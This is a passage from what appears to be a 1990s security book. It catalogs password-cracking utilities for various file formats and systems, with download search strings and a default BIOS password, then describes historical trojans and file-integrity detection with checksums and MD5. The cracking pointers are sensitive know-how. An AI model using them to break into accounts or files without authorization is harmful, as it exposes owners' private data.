Note that Merlin does not supply any of these utilities in the distribution. Rather, you must acquire these programs and then configure Merlin to work with them (similar to the way one configures external viewers and helpers in Netscape's Navigator). The concept may seem lame, but the tool provides an easy, centralized point from which to perform some fairly common (and grueling) security tasks. In other words, Merlin is more than a bogus front-end. In my opinion, it is a good contribution to the security trade.


TIP: Those who are new to the UNIX platform may have to do a little hacking to get Merlin working. For example, Merlin relies on you to have correctly configured your browser to properly handle *.pl files (it goes without saying that Perl is one requisite). Also, Merlin apparently runs an internal HTTP server and looks for connections from the local host. This means you must have your system properly configured for loopback.

Merlin (and programs like it) are an important and increasing trend (a trend kicked off by Farmer and Venema). Because such programs are designed primarily in an HTML/Perl base, they are highly portable to various platforms in the UNIX community. They also tend to take slim network resources and, after the code has been loaded into the interpreter, they move pretty fast. Finally, these tools are easier to use, making security less of an insurmountable task. The data is right there and easily manipulated. This can only help strengthen security and provide newbies with an education.

Other Types of Password Crackers

Now you'll venture into more exotic areas. Here you will find a wide variety of password crackers for almost any type of system or application.

ZipCrack by Michael A. Quinlan

ZipCrack does just what you would think it would: It is designed to brute-force passwords that have been applied to files with a *.zip extension (in other words, it cracks the password on files generated with PKZIP).

No docs are included in the distribution (at least, not the few files that I have examined), but I am not sure there is any need. The program is straightforward. You simply provide the target file, and the program does the rest.

The program was written in Turbo Pascal, and the source code is included with the distribution. ZipCrack will work on any IBM-compatible that is a 286 or higher. The file description reports that ZipCrack will crack all those passwords generated by PKZIP 2.0. The author also warns that although short passwords can be obtained within a reasonable length of time, long passwords can take "centuries." Nevertheless, I sincerely doubt that many individuals provide passwords longer than five characters. ZipCrack is a useful utility for the average toolbox; it's one of those utilities that you think you will never need and later, at 3:00 in the morning, you swear bitterly because you don't have it.


Cross Reference: ZipCrack is widely available; use the search string zipcrk10.zip.

Fast Zip 2.0 (Author Unknown)

Fast Zip 2.0 is, essentially, identical to ZipCrack. It cracks zipped passwords.


Cross Reference: To find Fast Zip 2.0, use the search string fzc101.zip.

Decrypt by Gabriel Fineman

An obscure but nonetheless interesting utility, Decrypt breaks WordPerfect passwords. It is written in BASIC and works well. The program is not perfect, but it is successful a good deal of the time. The author reports that Decrypt checks for passwords with keys from 1 through 23. The program was released in 1993 and is widely available.


Cross Reference: To find Decrypt, use the search string decrypt.zip.

Glide (Author Unknown)

There is not a lot of documentation with the Glide utility. This program is used exclusively to crack PWL files, which are password files generated in Microsoft Windows for Workgroups and later versions of Windows. The lack of documentation, I think, is forgivable. The C source is included with the distribution. For anyone who hacks or cracks Microsoft Windows boxes, this utility is a must.


Cross Reference: Glide is available at these locations:


AMI Decode (Author Unknown)

The AMI Decode utility is designed expressly to grab the CMOS password from any machine using an American Megatrends BIOS. Before you go searching for this utility, you might try the factory-default CMOS password. It is, oddly enough, AMI. In any event, the program works, and that is what counts.


Cross Reference: To find AMI Decode, use the search string amidecod.zip.

NetCrack by James O'Kane

NetCrack is an interesting utility for use on the Novell NetWare platform. It applies a brute-force attack against the bindery. It's slow, but still quite reliable.


Cross Reference: To find NetCrack, use the search string netcrack.zip.

PGPCrack by Mark Miller

Before readers who use PGP get worked up, a bit of background is in order. Pretty Good Privacy (PGP) is probably the strongest and most reliable encryption utility available to the public sector. Its author, Phil Zimmermann, sums it up as follows:

PGPTM uses public-key encryption to protect e-mail and data files. Communicate securely with people you've never met, with no secure channels needed for prior exchange of keys. PGP is well featured and fast, with sophisticated key management, digital signatures, data compression, and good ergonomic design.

PGP can apply a series of encryption techniques. One of these, which is discussed in Chapter 13, "Techniques to Hide One's Identity," is IDEA. To give you an idea of how difficult IDEA is to crack, here is an excerpt from the PGP Attack FAQ, authored by Route (an authority on encryption and a member of "The Guild," a hacker group):

If you had 1,000,000,000 machines that could try 1,000,000,000 keys/sec, it would still take all these machines longer than the universe as we know it has existed and then some, to find the key. IDEA, as far as present technology is concerned, is not vulnerable to brute-force attack, pure and simple.

In essence, a message encrypted using a 1024-bit key generated with a healthy and long passphrase is, for all purposes, unbreakable. So, why did Mr. Miller author this interesting tool? Because passphrases can be poorly chosen and, if a PGP-encrypted message is to be cracked, the passphrase is a good place to start. Miller reports:

On a 486/66DX, I found that it takes about 7 seconds to read in a 1.2 megabyte passphrase file and try to decrypt the file using every passphrase. Considering the fact that the NSA, other government agencies, and large corporations have an incredible amount of computing power, the benefit of using a large, random passphrase is quite obvious.

Is this utility of any use? It is quite promising. Miller includes the source with the distribution as well as a file of possible passphrases (I have found at least one of those passphrases to be one I have used). The program is written in C and runs in the DOS, UNIX, and OS/2 environments.


Cross Reference: PGPCrack is available at several, reliable locations, including


The ICS Toolkit by Richard Spillman

The ICS Toolkit utility is an all-purpose utility for studying Cryptanalysis. It runs well in Microsoft Windows 3.11 but is more difficult to use in Windows 95 or Windows NT. It uses an older version of VBRUN300.DLL and therefore, users with later versions would be wise to move the newer copy to a temporary directory. (The ICS application will not install unless it can place its version of VBRUN300.DLL into the c:\windows\system directory.) This utility will help you learn how ciphers are created and how to break them. It is really quite comprehensive, although it takes some ingenuity to set up. It was programmed for older versions of Microsoft Windows. The interface is more utilitarian than attractive.

EXCrack by John E. Kuslich

The EXCrack utility recovers passwords applied in the Microsoft Excel environment. Mr. Kuslich is very clear that this software is not free but licensable (and copyrighted); therefore, I have neglected to provide screenshots or quoted information. It's safe to say the utility works well.


Cross Reference: To find EXCrack, use the search string excrak.zip.

CP.EXE by Lyal Collins

CP.EXE recovers or cracks passwords for CompuServe that are generated in CISNAV and WINCIM. It reportedly works on DOSCIM passwords as well. It a fast and reliable way to test whether your password is vulnerable to attack.


Cross Reference: This utility has been widely distributed and can be found by issuing the search string cis_pw.zip.

Password NT by Midwestern Commerce, Inc.

The Password NT utility recovers, or cracks, administrator password files on the Microsoft Windows NT 3.51 platform. In this respect, it is the NT equivalent of any program that cracks the root account in UNIX. Note that some hacking is required to use this utility; if the original drive on which the target password is located is NTFS (and therefore access-control options are enabled), you will need to move the password to a drive that is not access-control protected. To do this, you must move the password to a drive also running 3.51 workstation or server. Therefore, this isn't really an instant solution. Nevertheless, after everything is properly set, it will take no time at all.


Cross Reference: A nicely done utility, Password NT is always available at the company's home page (http://www.omna.com/yes/AndyBaron/recovery.htm).

There are well over 100 other utilities of a similar character. I will refrain from listing them here. I think that the previous list is sufficient to get you started studying password security. At least you can use these utilities to test the relative strength of your passwords.

Resources

At this stage, I would like to address some concepts in password security, as well as give you sources for further education.

I hope that you will go to the Net and retrieve each of the papers I am about to cite. If you are serious about learning security, you will follow this pattern throughout this book. By following these references in the order they are presented, you will gain an instant education in password security. However, if your time is sparse, the following paragraphs will at least provide you with some insight into password security.

About UNIX Password Security

UNIX password security, when implemented correctly, is fairly reliable. The problem is that people pick weak passwords. Unfortunately, because UNIX is a multi-user system, every user with a weak password represents a risk to the remaining users. This is a problem that must be addressed:

It is of utmost importance that all users on a system choose a password that is not easy to guess. The security of each individual user is important to the security of the whole system. Users often have no idea how a multi-user system works and don't realize that they, by choosing an easy-to-remember password, indirectly make it possible for an outsider to manipulate the entire system.6


6Walter Belgers, UNIX Password Security. December 6, 1993.


TIP: The above-mentioned paper, UNIX Password Security, gives an excellent overview of exactly how DES works into the UNIX password scheme. This includes a schematic that shows the actual process of encryption using DES. For users new to security, this is an excellent starting point.


Cross Reference: Locate UNIX Password Security by entering the search string password.ps.

What are weak passwords? Characteristically, they are anything that might occur in a dictionary. Moreover, proper names are poor choices for passwords. However, there is no need to theorize on what passwords are easily cracked. Safe to say, if the password appears in a password cracking wordlist available on the Internet, the password is no good. So, instead of wondering, get yourself a few lists.


Cross Reference: Start your search for wordlists at http://sdg.ncsa.uiuc.edu/~mag/Misc/Wordlists.html.

By regularly checking the strength of the passwords on your network, you can ensure that crackers cannot penetrate it (at least not through exploiting bad password choices). Such a regimen can greatly improve your system security. In fact, many ISPs and other sites are now employing tools that check a user's password when it is first created. This basically implements the philosophy that

...the best solution to the problem of having easily guessed passwords on a system is to prevent them from getting on the system in the first place. If a program such as a password cracker reacts by guessing detectable passwords already in place, then although the security hole is found, the hole existed for as long as the program took to detect it...If however, the program which changes users' passwords...checks for the safety and guessability before that password is associated with the user's account, then the security hole is never put in place.7


7Matthew Bishop, UC Davis, California, and Daniel Klein, LoneWolf Systems Inc. "Improving System Security via Proactive Password Checking." (Appeared in Computers and Security [14, pp. 233-249], 1995.)


TIP: This paper is probably one of the best case studies and treatments of easily-guessable passwords. It treats the subject in depth, illustrating real-life examples of various passwords that one would think are secure but actually are not.


Cross Reference: Locate Improving System Security via Proactive Password Checking by entering the search string bk95.ps.


NOTE: As you go along, you will see many of these files have a *.ps extension. This signifies a PostScript file. PostScript is a language and method of preparing documents. It was created by Adobe, the makers of Acrobat and Photoshop.
To read a PostScript file, you need a viewer. One very good one is Ghostscript, which is shareware and can be found at http://www.cs.wisc.edu/~ghost/.

Another good package (and a little more lightweight) is a utility called Rops. Rops is available for Windows and is located here:


Other papers of importance include the following:

"Observing Reusable Password Choices"

Purdue Technical Report CSD-TR 92-049

Eugene H. Spafford

Department of Computer Sciences, Purdue University

Date: July 3, 1992

Search String: Observe.ps

"Password Security: A Case History"

Robert Morris and Ken Thompson

Bell Laboratories

Date: Unknown

Search String: pwstudy.ps

"Opus: Preventing Weak Password Choices"

Purdue Technical Report CSD-TR 92-028

Eugene H. Spafford

Department of Computer Sciences, Purdue University

Date: June 1991

Search String: opus.PS.gz

"Federal Information Processing Standards Publication 181"

Announcing the Standard for Automated Password Generator

Date: October 5, 1993

URL: http://www.alw.nih.gov/Security/FIRST/papers/password/fips181.txt

"Augmented Encrypted Key Exchange: A Password-Based Protocol Secure Against Dictionary Attacks and Password File Compromise"

Steven M. Bellovin and Michael Merrit

AT&T Bell Laboratories

Date: Unknown

Search String: aeke.ps

"A High-Speed Software Implementation of DES"

David C. Feldmeier

Computer Communication Research Group

Bellcore

Date: June 1989

Search String: des.ps

"Using Content Addressable Search Engines to Encrypt and Break DES"

Peter C. Wayner

Computer Science Department

Cornell University

Date: Unknown

Search String: desbreak.ps

"Encrypted Key Exchange: Password-Based Protocols Secure Against Dictionary Attacks"

Steven M. Bellovin and Michael Merrit

AT&T Bell Laboratories

Date: Unknown

Search String: neke.ps

"Computer Break-ins: A Case Study"

Leendert Van Doorn

Vrije Universiteit, The Netherlands

Date: Thursday, January 21, 1993

Search String: holland_case.ps

"Security Breaches: Five Recent Incidents at Columbia University"

Fuat Baran, Howard

Kaye, and Margarita Suarez

Center for Computing Activities

Colombia University

Date: June 27, 1990

Search String: columbia_incidents.ps

Other Sources and Documents

Following is a list of other resources. Some are not available on the Internet. However, there are articles that can be obtained through various online services (perhaps Uncover) or at your local library through interlibrary loan or through microfiche. You may have to search more aggressively for some of these, perhaps using the Library of Congress (locis.loc.gov) or perhaps an even more effective tool, like WorldCat (www.oclc.org).

"Undetectable Online Password Guessing Attacks"

Yun Ding and Patrick Horster,

OSR, 29(4), pp. 77-86

Date: October 1995

"Optimal Authentication Protocols Resistant to Password Guessing Attacks"

Li Gong

Stanford Research Institute

Computer Science Laboratory

Men Park, CA

Date: Unknown

Search String: optimal-pass.dvi or optimal-pass.ps

"A Password Authentication Scheme Based on Discrete Logarithms"

Tzong Chen Wu and Chin Chen Chang

International Journal of Computational Mathematics; Vol. 41, Number 1-2, pp. 31-37

1991

"Differential Cryptanalysis of DES-like Cryptosystems"

Eli Biham and Adi Shamir

Journal of Cryptology, 4(1), pp. 3-72

1990

"A Proposed Mode for Triple-DES Encryption"

Don Coppersmith, Don B. Johnson, and Stephen M. Matyas

IBM Journal of Research and Development, 40(2), pp. 253-262

March 1996

"An Experiment on DES Statistical Cryptanalysis"

Serve Vaudenay

Conference on Computer and Communications Security, pp. 139-147

ACM Press

March 1996

"Department of Defense Password Management Guideline"

If you want to gain a more historical perspective regarding password security, start with the Department of Defense Password Management Guideline. This document was produced by the Department of Defense Computer Security Center at Fort Meade, Maryland.


Cross Reference: You can find the Department of Defense Password Management Guideline at http://www.alw.nih.gov/Security/FIRST/papers/password/dodpwman.txt.

Summary

You have reached the end of this chapter, and I have only a few things left to say in closing. One point I want to make is this: password crackers are growing in number. Because these tools often take significant processing power, it is not unusual for crackers to crack a large and powerful site just so they can use the processor power available there. For example, if you can crack a network with, say, 800 workstations, you can use at least some of those machines to perform high-speed cracking. By distributing the workload to several of these machines, you can ensure a much quicker result.

Many people argue that there is no legitimate reason persuasive enough to warrant the creation of such tools. That view is untenable. Password crackers provide a valuable service to system administrators by alerting them of weak passwords on the network. The problem is not that password crackers exist; the problem is that they aren't used frequently enough by the good guys. I hope that this book heightens awareness of that fact.


11

Trojans

This chapter examines one of the more insidious devices used to circumvent Internet security: the trojan horse, or trojan. No other device is more likely to lead to total compromise of a system, and no other device is more difficult to detect.

What Is a Trojan?

Before I start, I want to offer a definition of what a trojan is because these devices are often confused with other malicious code. A trojan horse is

The unauthorized functions that the trojan performs may sometimes qualify it as another type of malicious device as well. For example, certain viruses fit into this category. Such a virus can be concealed within an otherwise useful program. When this occurs, the program can be correctly referred to as both a trojan and a virus. The file that harbors such a trojan/virus has effectively been trojaned. Thus, the term trojan is sometimes used as a verb, as in "He is about to trojan that file."

Classic Internet security documents define the term in various ways. Perhaps the most well known (and oddly, the most liberal) is the definition given in RFC 1244, the Site Security Handbook:

A trojan horse program can be a program that does something useful, or merely something interesting. It always does something unexpected, like steal passwords or copy files without your knowledge.

Another definition that seems quite suitable is that given by Dr. Alan Solomon, an internationally renowned virus specialist, in his work titled All About Viruses:

A trojan is a program that does something more than the user was expecting, and that extra function is damaging. This leads to a problem in detecting trojans. Suppose I wrote a program that could infallibly detect whether another program formatted the hard disk. Then, can it say that this program is a trojan? Obviously not if the other program was supposed to format the hard disk (like Format does, for example), then it is not a trojan. But if the user was not expecting the format, then it is a trojan. The problem is to compare what the program does with the user's expectations. You cannot determine the user's expectations for a program.


Cross Reference: All About Viruses by Dr. Alan Solomon can be found at http://www.drsolomon.com/vircen/allabout.html.

Anyone concerned with viruses (or who just wants to know more about virus technology) should visit Dr. Solomon's site at http://www.drsolomon.com/.


At day's end, you can classify a trojan as this: any program that performs a hidden and unwanted function. This may come in any form. It might be a utility that purports to index file directories or one that unlocks registration codes on software. It might be a word processor or a network utility. In short, a trojan could be anything (and could be found in anything) that you or your users introduce to the system.

Where Do Trojans Come From?

Trojans are created strictly by programmers. One does not get a trojan through any means other than by accepting a trojaned file that was prepared by a programmer. True, it might be possible for a thousand monkeys typing 24 hours a day to ultimately create a trojan, but the statistical probability of this is negligible. Thus, a trojan begins with human intent or mens rea. Somewhere on this planet, a programmer is creating a trojan right now. That programmer knows exactly what he or she is doing, and his or her intentions are malefic (or at least, not altruistic).

The trojan author has an agenda. That agenda could be almost anything, but in the context of Internet security, a trojan will do one of two things:


Some trojans do both. Additionally, there is another class of trojan that causes damage to the target (for example, one that encrypts or reformats your hard disk drive). So trojans may perform various intelligence tasks (penetrative or collective) or tasks that amount to sabotage.

One example that satisfies the sabotage-tool criteria is the PC CYBORG trojan horse. As explained in a December 19, 1989 CIAC bulletin ("Information about the PC CYBORG (AIDS) Trojan Horse"):

There recently has been considerable attention in the news media about a new trojan horse which advertises that it provides information on the AIDS virus to users of IBM PC computers and PC clones. Once it enters a system, the trojan horse replaces AUTOEXEC.BAT, and may count the number of times the infected system has booted until a criterion number (90) is reached. At this point PC CYBORG hides directories, and scrambles (encrypts) the names of all files on drive C:. There exists more than one version of this trojan horse, and at least one version does not wait to damage drive C:, but will hide directories and scramble file names on the first boot after the trojan horse is installed.


Cross Reference: You can find the CIAC bulletin "Information about the PC CYBORG (AIDS) Trojan Horse" at http://www.sevenlocks.com/CIACA-10.htm.

Another example (one that caused fairly widespread havoc) is the AOLGOLD trojan horse. This was distributed primarily over the Usenet network and through e-mail. The program was purported to be an enhanced package for accessing America Online (AOL). The distribution consisted of a single, archived file. Unzipping the archive revealed two files, one of which was a standard INSTALL.BAT file. Executing the INSTALL.BAT file resulted in 18 files being expanded to the hard disk. As reported in a security advisory ("Information on the AOLGOLD Trojan Program") dated Sunday, February 16, 1997:

The trojan program is started by running the INSTALL.BAT file. The INSTALL.BAT file is a simple batch file that renames the VIDEO.DRV file to VIRUS.BAT and then runs it. VIDEO.DRV is an amateurish DOS batch file that starts deleting the contents of several critical directories on your C: drive, including

c:\
c:\dos
c:\windows
c:\windows\system
c:\qemm
c:\stacker
c:\norton
When the batch file completes, it prints a crude message on the screen and attempts to run a program named DOOMDAY.EXE. Bugs in the batch file prevent the DOOMDAY.EXE program from running. Other bugs in the file cause it to delete itself if it is run from any drive but the C: drive. The programming style and bugs in the batch file indicates that the trojan writer appears to have little programming experience.


Cross Reference: You can find the security advisory titled "Information on the AOLGOLD Trojan Program" at http://www.emergency.com/aolgold.htm.

These trojans were clearly the work of amateur programmers: kids who had no more complex an agenda than causing trouble. These were both destructive trojans and performed no sophisticated collective or penetrative functions. Such trojans are often seen, and usually surface, on the Usenet news network.

However, trojans (at least in the UNIX world) have been planted by individuals that are also involved in the legitimate development of a system. These are inside jobs, where someone at a development firm inserts the unauthorized code into an application or utility (or, in rare instances, the core of the operating system itself). These can be far more dangerous for a number of reasons:


There are also instances where key UNIX utilities are compromised (and trojaned) by programmers who have nothing to do with the development of the legitimate program. This has happened many times and, on more than one occasion, has involved security-related programs. For example, following the release of SATAN, a trojan found its way into the SATAN 1.0 distribution for Linux.


NOTE: This distribution was not the work of Farmer or Venema. Instead, it was a precompiled set of binaries intended solely for Linux users, compiled at Temple University. Moreover, the trojan was confined to a single release, that being 1.0.

Reportedly, the file affected was a program called fping. The story goes as follows: A programmer obtained physical access to a machine housing the program. He modified the main() function and altered the fping file so that when users ran SATAN, a special entry would be placed in their /etc/passwd file. This special entry was the addition of a user named suser. Through this user ID, the perpetrator hoped to compromise many hosts. As it happened, only two recorded instances of such compromise emerged. Flatly stated, the programming was of poor quality. For example, the trojan provided no contingency for those systems that made use of shadowed passwords.


NOTE: The slackware distribution of Linux defaults to a nonshadowed password scheme. This may be true of other Linux distributions as well. However, the programmer responsible for the trojan in question should not have counted on that. It would have been only slightly more complicated to add a provision for this.

As you can see, a trojan might crop up anywhere. Even a file originating from a reasonably trusted source could be trojaned.

Where Might One Find a Trojan?

Technically, a trojan could appear almost anywhere, on any operating system or platform. However, with the exception of the inside job mentioned previously, the spread of trojans works very much like the spread of viruses. Software downloaded from the Internet, especially shareware or freeware, is always suspect. Similarly, materials downloaded from underground servers or Usenet newsgroups are also candidates.

Sometimes, one need not travel down such dark and forbidden alleys to find a trojan. Trojans can be found in major, network-wide distributions. For example, examine this excerpt from a CIAC security advisory ("E-14: Wuarchive Ftpd Trojan Horse"), posted to the Net in 1994:

CIAC has received information that some copies of the wuarchive FTP daemon (ftpd) versions 2.2 and 2.1f have been modified at the source code level to contain a trojan horse. This trojan allows any user, local or remote, to become root on the affected UNIX system. CIAC strongly recommends that all sites running these or older versions of the wuarchive ftpd retrieve and install version 2.3. It is possible that versions previous to 2.2 and 2.1f contain the trojan as well.

wftpd is one of the most widely used FTP servers in the world. This advisory affected thousands of sites, public and private. Many of those sites are still at risk, primarily because the system administrators at those locations are not as security conscious as they should be.


TIP: Pick 100 random hosts in the void and try their FTP servers. I would wager that out of those hosts, more than 80% are using wftpd. In addition, another 40% of those are probably using older versions that, although they may not be trojaned, have security flaws of some kind.

C'mon! How Often Are Trojans Really Discovered?

Trojans are discovered often enough that they are a major security concern. What makes trojans so insidious is that even after they are discovered, their influence is still felt. Trojans are similar to sniffers in that respect. No one can be sure exactly how deep into the system the compromise may have reached. There are several reasons for this, but I will limit this section to only one.

As you will soon read, the majority of trojans are nested within compiled binaries. That is to say: The code that houses the trojan is no longer in human-readable form but has been compiled. Thus, it is in machine language. This language can be examined in certain raw editors, but even then, only printable character strings are usually comprehensible. These most often are error messages, advisories, option flags, or other data printed to STDOUT at specified points within the program:

my_function() 
{
cout << "The value you have entered is out of range!\n";
cout << "Please enter another:"
} 

Because the binaries are compiled, they come to the user as (more or less) point-and-shoot applications. In other words, the user takes the file or files as is, without intimate knowledge of their structure.

When authorities discover that such a binary houses a trojan, security advisories are immediately issued. These tend to be preliminary and are later followed by more comprehensive advisories that may briefly discuss the agenda and method of operation of the trojan code. Unless the user is a programmer, these advisories spell out little more than "Get the patch now and replace the bogus binary." Experienced system administrators may clearly understand the meaning of such advisories (or even clearly understand the purpose of the code, which is usually included with the comprehensive advisory). However, even then, assessment of damages can be difficult.

In some cases, the damage seems simple enough to assess (for example, instances where the trojan's purpose was to mail out the contents of the passwd file). The fix is pretty straightforward: Replace the binary with a clean version and have all users change their passwords. This being the whole of the trojan's function, no further damage or compromise is expected. Simple.

But suppose the trojan is more complex. Suppose, for example, that its purpose is to open a hole for the intruder, a hole through which he gains root access during the wee hours. If the intruder was careful to alter the logs, there might be no way of knowing the depth of the compromise (especially if you discover the trojan months after it was installed). This type of case might call for reinstallation of the entire operating system.


NOTE: Reinstallation may be a requisite. Many more of your files might have been trojaned since the initial compromise. Rather than attempt to examine each file (or each file's behavior) closely, it might make better sense to start over. Equally, even if more files haven't been trojaned, it's likely that passwords, personal data, or other sensitive materials have been compromised.

Conversely, trojans may be found in executable files that are not compiled. These might be shell scripts, or perhaps programs written in Perl, JavaScript, VBScript, Tcl (a popular scripting language), and so forth. There have been few verified cases of this type of trojan. The cracker who places a trojan within a noncompiled executable is risking a great deal. The source is in plain, human-readable text. In a small program, a block of trojan code would stand out dramatically. However, this method may not be so ludicrous when dealing with larger programs or in those programs that incorporate a series of compiled binaries and executable shell scripts nested within several subdirectories. The more complex the structure of the distribution, the less likely it is that a human being, using normal methods of investigation, would uncover a trojan.

Moreover, one must consider the level of the user's knowledge. Users who know little about their operating system are less likely to venture deep into the directory structure of a given distribution, looking for mysterious or suspicious code (even if that code is human readable). The reverse is true if the user happens to be a programmer. However, the fact that a user is a programmer does not mean he or she will instantly recognize a trojan. I know many BASIC programmers who have a difficult time reading code written in Perl. Thus, if the trojan exists in a scripting language, the programmer must first be familiar with that language before he or she can identify objectionable code within it. It is equally true that if the language even slightly resembles a language that the programmer normally uses, he or she may be able to identify the problem. For example, Perl is sufficiently similar to C that a C programmer who has never written a line of Perl could effectively identify malicious code within a Perl script. And of course, anyone who writes programs in a shell language or awk would likewise recognize questionable code in a Perl program.


NOTE: Many Perl programs (or other scripted shell programs) are dynamic; that is, they may change according to certain circumstances. For example, consider a program that, in effect, rewrites itself based on certain conditions specified in the programming code. Such files need to be checked by hand for tampering because integrity checkers will always report that the file has been attacked, even when it has not. Granted, today, there are relatively few dynamic programs, but that is about to change. There is talk on the Internet of using languages like Perl to perform functions in Electronic Data Interchange (EDI). In some instances, these files will perform functions that necessarily require the program file to change.

What Level of Risk Do Trojans Represent?

Trojans represent a very high level of risk, mainly for reasons already stated:


Let me elaborate. Trojans are a perfect example of the type of attack that is fatal to the system administrator who has only a very fleeting knowledge of security. In such a climate, a trojan can lead to total compromise of the system. The trojan may be in place for weeks or even months before it is discovered. In that time, a cracker with root privileges could alter the entire system to suit his or her needs. Thus, even when the trojan is discovered, new holes may exist of which the system administrator is completely unaware.

How Does One Detect a Trojan?

Detecting trojans is less difficult than it initially seems. But strong knowledge of your operating system is needed; also, some knowledge of encryption can help.

If your environment is such that sensitive data resides on your server (which is never a good idea), you will want to take advanced measures. Conversely, if no such information exists on your server, you might feel comfortable employing less stringent methods. The choice breaks down to need, time, and interest. The first two of these elements represent cost. Time always costs money, and that cost will rise depending on how long it has been since your operating system was installed. This is so because in that length of time, many applications that complicate the reconciliation process have probably been installed. For example, consider updates and upgrades. Sometimes, libraries (or DLL files) are altered or overwritten with newer versions. If you were using a file-integrity checker, these files would be identified as changed. If you were not the person who performed the upgrade or update, and the program is sufficiently obscure, you might end up chasing a phantom trojan. These situations are rare, true, but they do occur.

Most forms of protection against (and prevention of) trojans are based on a technique sometimes referred to as object reconciliation. Although the term might sound intimidating, it isn't. It is a fancy way of asking "Are things still just the way I left them?" Here is how it works: Objects are either files or directories. Reconciliation is the process of comparing those objects against themselves at some earlier (or later) date. For example, take a backup tape and compare the file PS as it existed in November 1995 to the PS that now resides on your drive. If the two differ, and no change has been made to the operating system, something is amiss. This technique is invariably applied to system files that are installed as part of the basic operating system.

Object reconciliation can be easy understood if you recognize that for each time a file is altered in some way, that file's values change. For example, one way to clock the change in a file is by examining the date it was last modified. Each time the file is opened, altered, and saved, a new last-modified date emerges. However, this date can be easily manipulated. Consider manipulating this time on the PC platform. How difficult is it? Change the global time setting, apply the desired edits, and archive the file. The time is now changed. For this reason, time is the least reliable way to reconcile an object (at least, relying on the simple date-last-modified time is unreliable). Also, the last date of modification reveals nothing if the file was unaltered (for example, if it was only copied or mailed).


NOTE: PC users who have used older machines can easily understand this. Sometimes, when the CMOS battery fails, the system may temporarily fail. When it is brought back up, you will see that a few files have the date January 1, 1980.

Another way to check the integrity of a file is by examining its size. However, this method is extremely unreliable because of how easily this value can be manipulated. When editing plain text files, it is simple to start out with a size of, say, 1,024KB and end up with that same size. It takes cutting a bit here and adding a bit there. But the situation changes radically when you want to alter a binary file. Binary files usually involve the inclusion of special function libraries and other modules without which the program will not work. Thus, to alter a binary file (and still have the program function) is a more complicated process. The programmer must preserve all the indispensable parts of the program and still find room for his or her own code. Therefore, size is probably a slightly more reliable index than time. Briefly, before I continue, let me explain the process by which a file becomes trojaned.

The most common scenario is when a semi-trusted (known) file is the object of the attack. That is, the file is native to your operating system distribution; it comes from the vendor (such as the file csh in UNIX or command.com in DOS). These files are written to your drive on the first install, and they have a date and time on them. They also are of a specified size. If the times, dates, or sizes of these files differ from their original values, this raises immediate suspicion.

Evil programmers know this. Their job, therefore, is to carefully examine the source code for the file (usually obtained elsewhere) for items that can be excluded (for example, they may single out commented text or some other, not-so-essential element of the file). The unauthorized code is written into the source, and the file is recompiled. The cracker then examines the size of the file. Perhaps it is too large or too small. The process then begins again, until the attacker has compiled a file that is as close to the original size as possible. This is a time-consuming process. If the binary is a fairly large one, it could take several days.


NOTE: When an original operating-system distributed file is the target, the attacker may or may not have to go through this process. If the file has not yet been distributed to anyone, the attacker need not concern himself or herself with this problem. This is because no one has yet seen the file or its size. Perhaps only the original author of the file would know that something was amiss. If that original author is not security conscious, he or she might not even know. If you are a programmer, think now about the very last binary you compiled. How big was it? What was its file size? I bet you don't remember.

When the file has been altered, it is placed where others can obtain it. In the case of operating-system distributions, this is generally a central site for download (such as sunsite.unc.edu, which houses one of the largest collection of UNIX software on the planet). From there, the file finds its way into workstations across the void.


NOTE: sunsite.unc.edu is the Sun Microsystems-sponsored site at UNC Chapel Hill. This site houses the greater body of free software on the Internet. Thousands of individuals--including me--rely on the high-quality UNIX software available at this location. Not enough good can be said about this site. It is a tremendous public service.

For reasons that must now seem obvious, the size of the file is also a poor index by which to measure its alteration. So, to recount: Date, date of last access, time, and size are all indexes without real meaning. None of these alone is suitable for determining the integrity of a file. In each, there is some flaw--usually inherent to the platform--that makes these values easy to alter. Thus, generating a massive database of all files and their respective values (time, size, date, or alteration) has only very limited value:

...a checklist is one form of this database for a UNIX system. The file content themselves are not usually saved as this would require too much disk space. Instead, a checklist would contain a set of values generated from the original file--usually including the length, time of last modification, and owner. The checklist is periodically regenerated and compared against the save copies, with discrepancies noted. However...changes may be made to the contents of UNIX files without any of these values changing from the stored values; in particular, a user gaining access to the root account may modify the raw disk to alter the saved data without it showing in the checklist.

There are other indexes, such as checksums, that one can check; these are far better indexes, but also not entirely reliable. In the checksum system, the data elements of a file are added together and run through an algorithm. The resulting number is a checksum, a type of signature for that file (bar-code readers sometimes use checksums in their scan process). On the SunOS platform, one can review the checksum of a particular file using the utility sum. sum calculates (and prints to STDOUT or other specified mediums) the checksums of files provided on the argument line.

Although checksums are more reliable than time, date, or last date of modification, these too can be tampered with. Most system administrators suggest that if you rely on a checksum system, your checksum list should be kept on a separate server or even a separate medium, accessible only by root and other trusted users. In any event, checksums work nicely for checking the integrity of a file transferred, for example, from point A to point B, but that is the extent of it.


NOTE: Users who have performed direct file transfers using communication packages such as Qmodem, Telix, Closeup, MTEZ, or others will remember that these programs sometimes perform checksum or CRC checks as the transfers occur. For each file transferred, the file is checked for integrity. This reduces--but does not eliminate--the likelihood of a damaged file at the destination. If the file proves to be damaged or flawed, the transfer process may begin again. When dealing with sophisticated attacks against file integrity, however, this technique is insufficient.


Cross Reference: Tutorials about defeating checksum systems are scattered across the Internet. Most are related to the development of viruses (many virus-checking utilities use checksum analysis to identify virus activity). A collection of such papers (all of which are underground) can be found at http://www.pipo.com/guillermito/darkweb/news.html.

MD5

You're probably wondering whether any technique is sufficient. I am happy to report that there is such a technique. It involves calculating the digital fingerprint, or signature, for each file. This is done utilizing various algorithms. A family of algorithms, called the MD series, is used for this purpose. One of the most popular implementations is a system called MD5.

MD5 is a utility that can generate a digital signature of a file. MD5 belongs to a family of one-way hash functions called message digest algorithms. The MD5 system is defined in RFC 1321. Concisely stated:

The algorithm takes as input a message of arbitrary length and produces as output a 128-bit "fingerprint" or "message digest" of the input. It is conjectured that it is computationally infeasible to produce two messages having the same message digest, or to produce any message having a given prespecified target message digest. The MD5 algorithm is intended for digital signature applications, where a large file must be "compressed" in a secure manner before being encrypted with a private (secret) key under a public-key cryptosystem such as RSA.


Cross Reference: RFC 1321 is located at http://www.freesoft.org/Connected/RFC/1321/1.html.

When one runs a file through an MD5 implementation, the signature emerges as a 32-character value. It looks like this:

2d50b2bffb537cc4e637dd1f07a187f4

Many sites that distribute security fixes for the UNIX operating system employ this technique. Thus, as you browse their directories, you can examine the original digital signature of each file. If, upon downloading that file, you find that the signature is different, there is a 99.9% chance that something is terribly amiss.

MD5 performs a one-way hash function. You may be familiar with these operations from other forms of encryption, including those used to encrypt password files.

